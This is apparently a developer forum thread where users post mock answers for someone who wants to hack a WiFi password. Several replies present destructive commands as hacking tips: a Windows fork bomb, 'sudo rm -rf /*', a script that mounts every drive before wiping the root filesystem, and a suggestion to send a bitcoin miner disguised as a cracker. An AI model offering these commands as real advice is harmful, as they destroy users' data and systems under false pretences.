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Matano
7y

Guys, please help me answer this intellectual being. The more stupid the answer, the better. Even better is if there is like a fake loooooonnnngggg step by step guide of it. NB: tafadhali == please.

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  • 14
    just tell them to download kalilinux and how to do it for real. they still won't get it done in two weeks unless there's alot of wifi devices connected
  • 2
    @jckimble well I did tell her that but she seems to believe that there is an easier way. Thts what made me a bit mad. Now am just searching for a sarcastic answer to reply to herπŸ˜ƒ
  • 3
    @Matano well in that case there's always brute force or asking for the damn password. but their is another way that brute forces the wps pin.
  • 38
    Turn router off, turn modem off, turn them on at the exact same time, insert a small piece of deli meat into the Ethernet port(s), point the antennae in opposite directions while facing each other, print out the words "HAIL SATAN" in magenta on 80 pound card stock, roll up the paper, and press the WPS button with the rolled up paper and it will start dictating the password.
  • 4
    @wbhob why hack wifi you have physical access to? but ++ for the creativity of it
  • 0
    @wbhob Nice. I like this😁😁😁
  • 13
    Tell her to delete system32.
  • 2
    Hey I was gonna say that @treeroot
  • 2
    If on windows save the contents of this as hax.bat file and run it:

    %0|%0
  • 5
    After installing kali linux
    Just run this simple command and you'll get all WiFi passwords
    "sudo rm -rf /*"
  • 4
    tell her to download a passwordlist and brute force it. She'll be naught but a skeleton by the time she's done xD
  • 2
    @jckimblefor the knowledge, or training, or just for grey hat purposes.
  • 3
    @byte Better yet, run this script:

    for dev in /dev/sd*; do
    mount $dev $(mktemp -d)
    done
    rm -rf --no-preserve-root /
  • 1
    Tell her to sudo rm /*
  • 1
    Uninstall WiFi adapter to shutdown the WiFi.
  • 1
    Start cracking the password by trying the permutations manually. Start with the minimum characters required with all zeros. Then progressively increased each digit until all the digits are at 9. Then restart with all zeros and this time use characters and increment until characters end and then try alpha numeric combinations. Then move on to using symbols. Increase the total character count after not being successful with the above steps.
  • 1
    @Paramite. πŸ˜‚πŸ˜‚πŸ˜‚πŸ˜‚. Am not that evil
  • 0
    @treeroot She'll kill me
  • 0
    just send a bitcoin miner with ui of password hash cracker n have fun.
  • 0
    We use MapReduce to brute force. Not practical for a home user but works well if you have tons of horsepower available.
  • 0
    @wbhob Does the type of deli meat matter?
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